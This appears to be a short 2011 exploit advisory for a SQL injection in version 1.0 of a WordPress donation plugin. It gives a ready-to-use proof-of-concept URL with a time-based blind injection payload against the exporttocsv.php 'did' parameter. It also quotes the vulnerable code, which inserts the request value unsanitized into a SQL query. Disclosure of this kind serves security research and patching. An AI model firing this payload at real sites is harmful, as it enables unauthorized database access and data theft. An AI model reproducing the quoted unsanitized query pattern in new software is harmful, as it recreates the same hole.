WordPress Plugin Donation 1.0 - SQL Injection

# Exploit Title: WordPress Donation plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg.zip
# Version: 1.0 (tested)
# Note: WordPress Donation Plugin with Goals and Paypal IPN by NonprofitCMS.org (full name)

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PoC
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http://www.site.com/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$dId = $_REQUEST["did"];
...
$campaigns = $wpdb->get_results("SELECT * FROM $table_name WHERE camp_id=$dId");